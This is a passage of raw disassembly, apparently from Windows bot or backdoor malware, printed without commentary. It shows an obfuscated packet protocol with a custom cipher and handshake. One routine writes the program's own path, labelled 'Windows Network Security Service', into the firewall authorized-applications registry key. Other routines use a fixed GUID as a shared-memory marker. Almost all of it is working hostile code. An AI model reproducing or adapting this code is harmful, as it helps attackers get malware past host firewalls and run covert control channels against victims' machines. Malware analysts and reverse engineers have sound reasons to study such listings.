sub_4019C3 endp
; =============== S U B R O U T I N E =======================================
sub_401A3B proc near ; CODE XREF: sub_403C3F+37Fp
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
push dword ptr [ebx+46Ch]
call sub_401076
pop ecx
push ebx
call sub_401076
pop ecx
pop ebx
retn
sub_401A3B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401A55 proc near ; CODE XREF: sub_401ADA+27p
; sub_401BAC+36p
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push eax
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
push 40h
lea eax, [ebx+4]
push eax
lea eax, [ebx+64h]
push eax
call sub_4018BB
add esp, 0Ch
mov al, [ebx+4]
mov [ebp+var_1], al
push 3Fh
lea eax, [ebx+5]
push eax
lea eax, [ebx+4]
push eax
call sub_4076F0
add esp, 0Ch
mov al, [ebp+var_1]
mov [ebx+43h], al
xor esi, esi
xor edi, edi
jmp short loc_401AAD
; ---------------------------------------------------------------------------
loc_401A95: ; CODE XREF: sub_401A55+5Bj
lea eax, [ebx+esi+4]
mov dl, [ebx+edi+44h]
add [eax], dl
lea eax, [edi+1]
mov ecx, 20h
cdq
idiv ecx
mov edi, edx
inc esi
loc_401AAD: ; CODE XREF: sub_401A55+3Ej
cmp esi, 40h
jl short loc_401A95
mov al, [ebx+63h]
mov [ebp+var_1], al
mov esi, 1Fh
loc_401ABD: ; CODE XREF: sub_401A55+76j
lea eax, [esi-1]
mov al, [ebx+eax+44h]
mov [ebx+esi+44h], al
dec esi
test esi, esi
jg short loc_401ABD
mov al, [ebp+var_1]
mov [ebx+44h], al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_401A55 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401ADA proc near ; CODE XREF: sub_401B8F+13p
; sub_401D76+8Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push eax
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov esi, [ebp+arg_C]
test esi, esi
jl short loc_401AF3
cmp esi, 0FFFFh
jle short loc_401AFA
loc_401AF3: ; CODE XREF: sub_401ADA+Fj
xor eax, eax
jmp loc_401B88
; ---------------------------------------------------------------------------
loc_401AFA: ; CODE XREF: sub_401ADA+17j
cmp [ebp+arg_10], 0
jz short loc_401B07
push ebx
call sub_401A55
pop ecx
loc_401B07: ; CODE XREF: sub_401ADA+24j
mov edi, [ebx+46Ch]
mov word ptr [edi], 29Ah
add edi, 2
mov ax, [ebp+arg_4]
mov [edi], ax
add edi, 2
mov ax, si
mov [edi], ax
add edi, 2
test esi, esi
jz short loc_401B39
push esi
push [ebp+arg_8]
push edi
call sub_4076F0
add esp, 0Ch
loc_401B39: ; CODE XREF: sub_401ADA+50j
add esi, 6
push esi
movzx eax, [ebp+arg_4]
push eax
push offset aPktsendIIBytes ; "PktSend(%i): %i bytes\n"
call nullsub_2
add esp, 0Ch
cmp [ebp+arg_10], 0
jz short loc_401B68
push esi
push dword ptr [ebx+46Ch]
lea eax, [ebx+64h]
push eax
call sub_40193B
add esp, 0Ch
loc_401B68: ; CODE XREF: sub_401ADA+79j
push esi
push dword ptr [ebx+46Ch]
push dword ptr [ebx]
call sub_401787
add esp, 0Ch
mov [ebp+var_4], eax
cmp [ebp+var_4], esi
jge short loc_401B85
xor eax, eax
jmp short loc_401B88
; ---------------------------------------------------------------------------
loc_401B85: ; CODE XREF: sub_401ADA+A5j
xor eax, eax
inc eax
loc_401B88: ; CODE XREF: sub_401ADA+1Bj
; sub_401ADA+A9j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_401ADA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401B8F proc near ; CODE XREF: DMN0:00401F47p
; sub_403C3F+20Bp
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 1
push [ebp+arg_C]
push [ebp+arg_8]
movzx eax, [ebp+arg_4]
push eax
push [ebp+arg_0]
call sub_401ADA
add esp, 14h
pop ebp
retn
sub_401B8F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401BAC proc near ; CODE XREF: sub_401D5B+11p
; DMN0:00401E35p
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov esi, [ebp+arg_10]
mov edx, [ebp+arg_4]
mov word ptr [edx], 0
and [ebp+var_4], 0
mov eax, [ebp+arg_C]
test eax, eax
jl short loc_401BD5
cmp eax, 0FFFFh
jle short loc_401BDD
loc_401BD5: ; CODE XREF: sub_401BAC+20j
or eax, 0FFFFFFFFh
jmp loc_401D54
; ---------------------------------------------------------------------------
loc_401BDD: ; CODE XREF: sub_401BAC+27j
test esi, esi
jz short loc_401BE8
push ebx
call sub_401A55
pop ecx
loc_401BE8: ; CODE XREF: sub_401BAC+33j
push 2
lea eax, [ebp+var_6]
push eax
push dword ptr [ebx]
call sub_4016DC
add esp, 0Ch
mov edi, eax
cmp edi, 2
jge short loc_401C0F
mov edx, [ebp+arg_4]
mov word ptr [edx], 0
or eax, 0FFFFFFFFh
jmp loc_401D54
; ---------------------------------------------------------------------------
loc_401C0F: ; CODE XREF: sub_401BAC+51j
test esi, esi
jz short loc_401C25
push 2
lea eax, [ebp+var_6]
push eax
lea eax, [ebx+64h]
push eax
call sub_40193B
add esp, 0Ch
loc_401C25: ; CODE XREF: sub_401BAC+65j
cmp [ebp+var_6], 29Ah
jz short loc_401C48
movzx eax, [ebp+var_6]
push eax
push offset aPktrecvInvalid ; "PktRecv(): invalid signature (%i)\n"
call nullsub_2
pop ecx
pop ecx
mov eax, 0FFFFFFFEh
jmp loc_401D54
; ---------------------------------------------------------------------------
loc_401C48: ; CODE XREF: sub_401BAC+7Fj
push 2
push [ebp+arg_4]
push dword ptr [ebx]
call sub_4016DC
add esp, 0Ch
mov edi, eax
cmp edi, 2
jge short loc_401C6E
mov edx, [ebp+arg_4]
mov word ptr [edx], 0
or eax, 0FFFFFFFFh
jmp loc_401D54
; ---------------------------------------------------------------------------
loc_401C6E: ; CODE XREF: sub_401BAC+B0j
test esi, esi
jz short loc_401C83
push 2
push [ebp+arg_4]
lea eax, [ebx+64h]
push eax
call sub_40193B
add esp, 0Ch
loc_401C83: ; CODE XREF: sub_401BAC+C4j
mov eax, [ebp+arg_4]
movzx eax, word ptr [eax]
push eax
push offset aPktrecvPacketi ; "PktRecv(): packetId: 0x%03x\n"
call nullsub_2
pop ecx
pop ecx
push 2
lea eax, [ebp+var_4]
push eax
push dword ptr [ebx]
call sub_4016DC
add esp, 0Ch
mov edi, eax
cmp edi, 2
jge short loc_401CBD
mov edx, [ebp+arg_4]
mov word ptr [edx], 0
or eax, 0FFFFFFFFh
jmp loc_401D54
; ---------------------------------------------------------------------------
loc_401CBD: ; CODE XREF: sub_401BAC+FFj
test esi, esi
jz short loc_401CD3
push 2
lea eax, [ebp+var_4]
push eax
lea eax, [ebx+64h]
push eax
call sub_40193B
add esp, 0Ch
loc_401CD3: ; CODE XREF: sub_401BAC+113j
push [ebp+arg_C]
push [ebp+var_4]
push offset aProtorecvDataS ; "protorecv(): data size: %i (of %i)\n"
call nullsub_2
add esp, 0Ch
cmp [ebp+var_4], 0
jz short loc_401D0B
push [ebp+var_4]
push dword ptr [ebx+46Ch]
push dword ptr [ebx]
call sub_4016DC
add esp, 0Ch
mov edi, eax
cmp edi, [ebp+var_4]
jge short loc_401D0B
or eax, 0FFFFFFFFh
jmp short loc_401D54
; ---------------------------------------------------------------------------
loc_401D0B: ; CODE XREF: sub_401BAC+13Ej
; sub_401BAC+158j
test esi, esi
jz short loc_401D24
push [ebp+var_4]
push dword ptr [ebx+46Ch]
lea eax, [ebx+64h]
push eax
call sub_40193B
add esp, 0Ch
loc_401D24: ; CODE XREF: sub_401BAC+161j
cmp [ebp+arg_8], 0
jz short loc_401D51
mov eax, [ebp+arg_C]
cmp [ebp+var_4], eax
jle short loc_401D38
mov eax, [ebp+arg_C]
mov [ebp+var_4], eax
loc_401D38: ; CODE XREF: sub_401BAC+184j
mov eax, [ebp+var_4]
test eax, eax
jz short loc_401D51
push eax
push dword ptr [ebx+46Ch]
push [ebp+arg_8]
call sub_4076F0
add esp, 0Ch
loc_401D51: ; CODE XREF: sub_401BAC+17Cj
; sub_401BAC+191j
mov eax, [ebp+var_4]
loc_401D54: ; CODE XREF: sub_401BAC+2Cj
; sub_401BAC+5Ej ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_401BAC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401D5B proc near ; CODE XREF: sub_401F51+18p
; sub_403C3F+26Ep
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 1
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_401BAC
add esp, 14h
pop ebp
retn
sub_401D5B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401D76 proc near ; CODE XREF: sub_403C3F+166p
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 80h
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov esi, [ebp+arg_8]
lea edi, [ebp+var_80]
lea edi, [ebp+var_80]
mov word ptr [edi], 1
add edi, 2
mov word ptr [edi], 10h
add edi, 2
and dword ptr [edi], 0
add edi, 4
mov ax, [ebp+arg_4]
mov [edi], ax
add edi, 4
or esi, 1000h
mov ax, si
mov [edi], ax
add edi, 2
mov word ptr [edi], 40h
add edi, 2
mov word ptr [edi], 20h
add edi, 2
push 40h
lea eax, [ebx+4]
push eax
push edi
call sub_4076F0
add esp, 0Ch
add edi, 40h
push 20h
lea eax, [ebx+44h]
push eax
push edi
call sub_4076F0
add esp, 0Ch
add edi, 20h
push 0
lea eax, [ebp+var_80]
mov edx, edi
sub edx, eax
push edx
lea eax, [ebp+var_80]
push eax
push 1
push ebx
call sub_401ADA
add esp, 14h
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_401D76 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 84h
push ebx
push esi
push edi
lea ebx, [ebp-80h]
push 0
push 80h
lea eax, [ebp-80h]
push eax
lea eax, [ebp-84h]
push eax
push dword ptr [ebp+8]
call sub_401BAC
add esp, 14h
mov esi, eax
cmp word ptr [ebp-84h], 1
jnz short loc_401E4E
cmp esi, 0Ah
jge short loc_401E7B
loc_401E4E: ; CODE XREF: DMN0:00401E47j
cmp esi, 0Ah
jge short loc_401E60
push offset aHandshakeRecvE ; "Handshake: recv() error\n"
call nullsub_2
pop ecx
jmp short loc_401E74
; ---------------------------------------------------------------------------
loc_401E60: ; CODE XREF: DMN0:00401E51j
movzx eax, word ptr [ebp-84h]
push eax
push offset aHandshakeBadPa ; "Handshake: bad packed (%i)\n"
call nullsub_2
pop ecx
pop ecx
loc_401E74: ; CODE XREF: DMN0:00401E5Ej
xor eax, eax
jmp loc_401F2F
; ---------------------------------------------------------------------------
loc_401E7B: ; CODE XREF: DMN0:00401E4Cj
lea ebx, [ebp-80h]
cmp word ptr [ebx], 1
jz short loc_401E9B
movzx eax, word ptr [ebx]
push eax
push offset aHandshakeBadVe ; "Handshake: bad version (%i)\n"
call nullsub_2
pop ecx
pop ecx
xor eax, eax
jmp loc_401F2F
; ---------------------------------------------------------------------------
loc_401E9B: ; CODE XREF: DMN0:00401E82j
add ebx, 2
mov edx, [ebp+0Ch]
movzx eax, word ptr [ebx]
mov [edx], eax
add ebx, 2
add ebx, 4
mov edx, [ebp+10h]
mov ax, [ebx]
mov [edx], ax
add ebx, 4
mov edx, [ebp+14h]
movzx eax, word ptr [ebx]
mov [edx], eax
add ebx, 2
mov ax, [ebx]
mov [ebp-82h], ax
add ebx, 2
cmp word ptr [ebp-82h], 40h
jz short loc_401EDE
xor eax, eax
jmp short loc_401F2F
; ---------------------------------------------------------------------------
loc_401EDE: ; CODE XREF: DMN0:00401ED8j
mov di, [ebx]
add ebx, 2
cmp di, 20h
jz short loc_401EEE
xor eax, eax
jmp short loc_401F2F
; ---------------------------------------------------------------------------
loc_401EEE: ; CODE XREF: DMN0:00401EE8j
sub esi, 10h
movzx eax, word ptr [ebp-82h]
movzx edx, di
add eax, edx
cmp esi, eax
jge short loc_401F05
xor eax, eax
jmp short loc_401F2F
; ---------------------------------------------------------------------------
loc_401F05: ; CODE XREF: DMN0:00401EFFj
push 40h
push ebx
mov eax, [ebp+8]
add eax, 4
push eax
call sub_4076F0
add esp, 0Ch
add ebx, 40h
push 20h
push ebx
mov eax, [ebp+8]
add eax, 44h
push eax
call sub_4076F0
add esp, 0Ch
xor eax, eax
inc eax
loc_401F2F: ; CODE XREF: DMN0:00401E76j
; DMN0:00401E96j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 1
lea eax, [ebp+0Ch]
push eax
push 29Ah
push dword ptr [ebp+8]
call sub_401B8F
add esp, 10h
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401F51 proc near ; CODE XREF: sub_403C3F+18Ep
; sub_403C3F+245p
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push eax
push ebx
mov [ebp+var_2], 0
push 1
lea eax, [ebp+var_2]
push eax
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
call sub_401D5B
add esp, 10h
mov ebx, eax
cmp [ebp+var_4], 29Ah
jnz short loc_401F80
cmp ebx, 1
jz short loc_401F85
loc_401F80: ; CODE XREF: sub_401F51+28j
or eax, 0FFFFFFFFh
jmp short loc_401F89
; ---------------------------------------------------------------------------
loc_401F85: ; CODE XREF: sub_401F51+2Dj
movzx eax, [ebp+var_2]
loc_401F89: ; CODE XREF: sub_401F51+32j
pop ebx
mov esp, ebp
pop ebp
retn
sub_401F51 endp
; =============== S U B R O U T I N E =======================================
sub_401F8E proc near ; CODE XREF: sub_4067B0+3Ap
push ebx
push 10h
call sub_401048
pop ecx
mov ebx, eax
pop ebx
retn
sub_401F8E endp
; =============== S U B R O U T I N E =======================================
sub_401F9B proc near ; CODE XREF: DMN0:00401FD4p
; DMN0:004021DFp ...
arg_0 = dword ptr 4
push ebx
push esi
push edi
mov ebx, [esp+0Ch+arg_0]
test ebx, ebx
jz short loc_401FC6
mov esi, [ebx+4]
jmp short loc_401FB7
; ---------------------------------------------------------------------------
loc_401FAB: ; CODE XREF: sub_401F9B+1Ej
mov edi, esi
mov esi, [esi+8]
push edi
call sub_401076
pop ecx
loc_401FB7: ; CODE XREF: sub_401F9B+Ej
test esi, esi
jnz short loc_401FAB
and dword ptr [ebx], 0
and dword ptr [ebx+4], 0
and dword ptr [ebx+8], 0
loc_401FC6: ; CODE XREF: sub_401F9B+9j
pop edi
pop esi
pop ebx
retn
sub_401F9B endp
; ---------------------------------------------------------------------------
push ebx
mov ebx, [esp+8]
test ebx, ebx
jz short loc_401FE1
push ebx
call sub_401F9B
pop ecx
push ebx
call sub_401076
pop ecx
loc_401FE1: ; CODE XREF: DMN0:00401FD1j
pop ebx
retn
; =============== S U B R O U T I N E =======================================
sub_401FE3 proc near ; CODE XREF: sub_4042CD+B0p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = word ptr 0Ch
push ebx
mov ecx, [esp+4+arg_4]
mov bx, [esp+4+arg_8]
mov eax, [esp+4+arg_0]
mov edx, [eax+4]
jmp short loc_40200A
; ---------------------------------------------------------------------------
loc_401FF6: ; CODE XREF: sub_401FE3+29j
cmp [edx+4], ecx
jnz short loc_402007
test bx, bx
jz short loc_402005
cmp [edx], bx
jnz short loc_402007
loc_402005: ; CODE XREF: sub_401FE3+1Bj
jmp short loc_40200E
; ---------------------------------------------------------------------------
loc_402007: ; CODE XREF: sub_401FE3+16j
; sub_401FE3+20j
mov edx, [edx+8]
loc_40200A: ; CODE XREF: sub_401FE3+11j
test edx, edx
jnz short loc_401FF6
loc_40200E: ; CODE XREF: sub_401FE3:loc_402005j
mov eax, edx
pop ebx
retn
sub_401FE3 endp
; ---------------------------------------------------------------------------
push ebx
push esi
mov ebx, [esp+0Ch]
push 14h
call sub_401048
pop ecx
mov esi, eax
mov eax, [ebx+4]
mov [esi+8], eax
mov [ebx+4], esi
cmp dword ptr [ebx], 0
jnz short loc_402032
mov [ebx], esi
loc_402032: ; CODE XREF: DMN0:0040202Ej
inc dword ptr [ebx+8]
mov eax, [esp+10h]
mov [esi+4], eax
mov ax, [esp+14h]
mov [esi], ax
mov eax, esi
pop esi
pop ebx
retn
; =============== S U B R O U T I N E =======================================
sub_402049 proc near ; CODE XREF: DMN0:004021F6p
; sub_403B86+43p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = word ptr 0Ch
push ebx
push esi
mov ebx, [esp+8+arg_0]
push 14h
call sub_401048
pop ecx
mov esi, eax
cmp dword ptr [ebx], 0
jz short loc_402067
mov edx, [ebx]
mov [edx+8], esi
mov [ebx], esi
jmp short loc_40206C
; ---------------------------------------------------------------------------
loc_402067: ; CODE XREF: sub_402049+13j
mov [ebx], esi
mov [ebx+4], esi
loc_40206C: ; CODE XREF: sub_402049+1Cj
inc dword ptr [ebx+8]
mov eax, [esp+8+arg_4]
mov [esi+4], eax
mov ax, [esp+8+arg_8]
mov [esi], ax
mov eax, esi
pop esi
pop ebx
retn
sub_402049 endp
; =============== S U B R O U T I N E =======================================
sub_402083 proc near ; CODE XREF: DMN0:0040219Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = word ptr 0Ch
push ebx
push esi
push edi
mov bx, [esp+0Ch+arg_8]
xor edi, edi
mov eax, [esp+0Ch+arg_0]
mov esi, [eax+4]
jmp short loc_4020B0
; ---------------------------------------------------------------------------
loc_402096: ; CODE XREF: sub_402083+2Fj
mov eax, [esp+0Ch+arg_4]
cmp [esi+4], eax
jnz short loc_4020AB
test bx, bx
jz short loc_4020A9
cmp [esi], bx
jnz short loc_4020AB
loc_4020A9: ; CODE XREF: sub_402083+1Fj
jmp short loc_4020B4
; ---------------------------------------------------------------------------
loc_4020AB: ; CODE XREF: sub_402083+1Aj
; sub_402083+24j
mov edi, esi
mov esi, [esi+8]
loc_4020B0: ; CODE XREF: sub_402083+11j
test esi, esi
jnz short loc_402096
loc_4020B4: ; CODE XREF: sub_402083:loc_4020A9j
test esi, esi
jnz short loc_4020BC
xor eax, eax
jmp short loc_402102
; ---------------------------------------------------------------------------
loc_4020BC: ; CODE XREF: sub_402083+33j
test edi, edi
jz short loc_4020D6
mov eax, [esp+0Ch+arg_0]
cmp esi, [eax]
jnz short loc_4020CE
mov edx, [esp+0Ch+arg_0]
mov [edx], edi
loc_4020CE: ; CODE XREF: sub_402083+43j
mov eax, [esi+8]
mov [edi+8], eax
jmp short loc_4020F1
; ---------------------------------------------------------------------------
loc_4020D6: ; CODE XREF: sub_402083+3Bj
mov edx, [esp+0Ch+arg_0]
mov eax, [esi+8]
mov [edx+4], eax
mov eax, [esp+0Ch+arg_0]
cmp dword ptr [eax+4], 0
jnz short loc_4020F1
mov edx, [esp+0Ch+arg_0]
and dword ptr [edx], 0
loc_4020F1: ; CODE XREF: sub_402083+51j
; sub_402083+65j
mov eax, [esp+0Ch+arg_0]
dec dword ptr [eax+8]
push esi
call sub_401076
pop ecx
xor eax, eax
inc eax
loc_402102: ; CODE XREF: sub_402083+37j
pop edi
pop esi
pop ebx
retn
sub_402083 endp
; =============== S U B R O U T I N E =======================================
sub_402106 proc near ; CODE XREF: DMN0:004021C5p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
mov ebx, [esp+0Ch+arg_8]
xor edi, edi
mov eax, [esp+0Ch+arg_0]
mov esi, [eax+4]
jmp short loc_402128
; ---------------------------------------------------------------------------
loc_402118: ; CODE XREF: sub_402106+24j
mov eax, [esp+0Ch+arg_4]
sub eax, [esi+10h]
cmp eax, ebx
jnb short loc_40212C
mov edi, esi
mov esi, [esi+8]
loc_402128: ; CODE XREF: sub_402106+10j
test esi, esi
jnz short loc_402118
loc_40212C: ; CODE XREF: sub_402106+1Bj
test esi, esi
jnz short loc_402134
xor eax, eax
jmp short loc_40217A
; ---------------------------------------------------------------------------
loc_402134: ; CODE XREF: sub_402106+28j
test edi, edi
jz short loc_40214E
mov eax, [esp+0Ch+arg_0]
cmp esi, [eax]
jnz short loc_402146
mov edx, [esp+0Ch+arg_0]
mov [edx], edi
loc_402146: ; CODE XREF: sub_402106+38j
mov eax, [esi+8]
mov [edi+8], eax
jmp short loc_402169
; ---------------------------------------------------------------------------
loc_40214E: ; CODE XREF: sub_402106+30j
mov edx, [esp+0Ch+arg_0]
mov eax, [esi+8]
mov [edx+4], eax
mov eax, [esp+0Ch+arg_0]
cmp dword ptr [eax+4], 0
jnz short loc_402169
mov edx, [esp+0Ch+arg_0]
and dword ptr [edx], 0
loc_402169: ; CODE XREF: sub_402106+46j
; sub_402106+5Aj
mov eax, [esp+0Ch+arg_0]
dec dword ptr [eax+8]
push esi
call sub_401076
pop ecx
xor eax, eax
inc eax
loc_40217A: ; CODE XREF: sub_402106+2Cj
pop edi
pop esi
pop ebx
retn
sub_402106 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+0Ch]
mov si, [ebp+10h]
xor edi, edi
jmp short loc_402192
; ---------------------------------------------------------------------------
loc_40218F: ; CODE XREF: DMN0:004021A4j
xor edi, edi
inc edi
loc_402192: ; CODE XREF: DMN0:0040218Dj
movzx eax, si
push eax
push ebx
push dword ptr [ebp+8]
call sub_402083
add esp, 0Ch
test eax, eax
jnz short loc_40218F
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+0Ch]
mov esi, [ebp+10h]
xor edi, edi
jmp short loc_4021C0
; ---------------------------------------------------------------------------
loc_4021BD: ; CODE XREF: DMN0:004021CFj
xor edi, edi
inc edi
loc_4021C0: ; CODE XREF: DMN0:004021BBj
push esi
push ebx
push dword ptr [ebp+8]
call sub_402106
add esp, 0Ch
test eax, eax
jnz short loc_4021BD
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
push ebx
push esi
mov ebx, [esp+0Ch]
push ebx
call sub_401F9B
pop ecx
mov eax, [esp+10h]
mov esi, [eax+4]
jmp short loc_402201
; ---------------------------------------------------------------------------
loc_4021EE: ; CODE XREF: DMN0:00402203j
movzx eax, word ptr [esi]
push eax
push dword ptr [esi+4]
push ebx
call sub_402049
add esp, 0Ch
mov esi, [esi+8]
loc_402201: ; CODE XREF: DMN0:004021ECj
test esi, esi
jnz short loc_4021EE
pop esi
pop ebx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402208 proc near ; CODE XREF: sub_402296+98p
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
push [ebp+arg_4]
push [ebp+arg_0]
call dword_411E24
test eax, eax
jnz short loc_40225A
push [ebp+arg_C]
call sub_407710
pop ecx
inc eax
push eax
push [ebp+arg_C]
push 1
push 0
push [ebp+arg_8]
push [ebp+var_4]
call dword_411E28
push [ebp+var_4]
call dword_411E2C
loc_40225A: ; CODE XREF: sub_402208+29j
mov esp, ebp
pop ebp
retn
sub_402208 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40225E proc near ; CODE XREF: DMN0:0040237Dp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push eax
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push 0
push [ebp+arg_4]
push [ebp+arg_0]
call dword_411E30
test eax, eax
jnz short loc_402292
push [ebp+arg_8]
push [ebp+var_4]
call dword_411E34
push [ebp+var_4]
call dword_411E2C
loc_402292: ; CODE XREF: sub_40225E+1Dj
mov esp, ebp
pop ebp
retn
sub_40225E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402296 proc near ; CODE XREF: sub_4067B0:loc_4069E1p
var_20A = byte ptr -20Ah
var_105 = byte ptr -105h
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push 104h
lea eax, [ebp+var_105]
push eax
push 0
call dword_411CDC
mov ebx, eax
mov [ebp+ebx+var_105], 0
cmp [ebp+var_105], 0
jz short loc_402336
lea eax, [ebp+var_105]
push eax
lea eax, [ebp+var_20A]
push eax
call sub_407730
pop ecx
pop ecx
push dword_4128A4
lea eax, [ebp+var_105]
push eax
call sub_407750
pop ecx
pop ecx
push offset aEnabled ; ":*:Enabled:"
lea eax, [ebp+var_105]
push eax
call sub_407750
pop ecx
pop ecx
push offset aWindowsNetwork ; "Windows Network Security Service"
lea eax, [ebp+var_105]
push eax
call sub_407750
pop ecx
pop ecx
lea eax, [ebp+var_105]
push eax
lea eax, [ebp+var_20A]
push eax
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"...
push 80000002h
call sub_402208
add esp, 10h
loc_402336: ; CODE XREF: sub_402296+2Fj
pop ebx
mov esp, ebp
pop ebp
retn
sub_402296 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 108h
push ebx
push 104h
lea eax, [ebp-105h]
push eax
push 0
call dword_411CDC
mov ebx, eax
mov byte ptr [ebp+ebx-105h], 0
cmp byte ptr [ebp-105h], 0
jz short loc_402385
lea eax, [ebp-105h]
push eax
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"...
push 80000002h
call sub_40225E
add esp, 0Ch
loc_402385: ; CODE XREF: DMN0:0040236Aj
pop ebx
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40238A proc near ; CODE XREF: sub_4023DC+2p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
cmp dword_411008, 0
jnz short loc_4023D7
push 14h
push 40h
call dword_411CE0
mov ebx, eax
push 1
push ebx
call dword_411E38
push 0
push 0
push 1
push ebx
call dword_411E3C
mov [ebp+var_C], 0Ch
mov [ebp+var_8], ebx
mov [ebp+var_4], 1
mov dword_411008, 1
loc_4023D7: ; CODE XREF: sub_40238A+Ej
pop ebx
mov esp, ebp
pop ebp
retn
sub_40238A endp
; =============== S U B R O U T I N E =======================================
sub_4023DC proc near ; CODE XREF: sub_403C3F+7Fp
; sub_4067B0+23Fp
arg_0 = word ptr 4
arg_4 = word ptr 8
push ebx
push esi
call sub_40238A
push offset a6ea9b038C8014f ; "{6EA9B038-C801-4F76-805F-E41ACF9ED165}"
push 100h
push 0
push 4
push offset dword_412928
push 0FFFFFFFFh
call dword_411CE4
mov ebx, eax
test eax, eax
jz short loc_402446
call dword_411CE8
cmp eax, 0B7h
jz short loc_402444
push 20h
push 0
push 0
push 0F001Fh
push ebx
call dword_411CEC
mov esi, eax
test esi, esi
jz short loc_402444
mov ax, [esp+8+arg_0]
mov [esi], ax
mov ax, [esp+8+arg_4]
mov [esi+2], ax
push esi
call dword_411CF0
loc_402444: ; CODE XREF: sub_4023DC+36j
; sub_4023DC+4Ej
mov eax, ebx
loc_402446: ; CODE XREF: sub_4023DC+29j
pop esi
pop ebx
retn
sub_4023DC endp
; =============== S U B R O U T I N E =======================================
sub_402449 proc near ; CODE XREF: sub_403C3F+9Bp
arg_0 = word ptr 4
arg_4 = word ptr 8
push ebx
push esi
push edi
xor edi, edi
push offset a6ea9b038C8014f ; "{6EA9B038-C801-4F76-805F-E41ACF9ED165}"
push 0
push 0F001Fh
call dword_411CF4
mov ebx, eax
test eax, eax
jz short loc_4024A2
push 20h
push 0
push 0
push 0F001Fh
push ebx
call dword_411CEC
mov esi, eax
test esi, esi
jz short loc_402499
mov ax, [esp+0Ch+arg_0]
mov [esi], ax
mov ax, [esp+0Ch+arg_4]
mov [esi+2], ax
push esi
call dword_411CF0
xor edi, edi
inc edi
loc_402499: ; CODE XREF: sub_402449+33j
push ebx
call dword_411CF8
mov eax, edi
loc_4024A2: ; CODE XREF: sub_402449+1Bj
pop edi
pop esi
pop ebx
retn
sub_402449 endp
; =============== S U B R O U T I N E =======================================
sub_4024A6 proc near ; CODE XREF: sub_404967+87p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor si, si
push offset a6ea9b038C8014f ; "{6EA9B038-C801-4F76-805F-E41ACF9ED165}"
push 0
push 0F001Fh
call dword_411CF4
mov ebx, eax
test ebx, ebx
jnz short loc_4024CB
mov eax, 0FFFFh
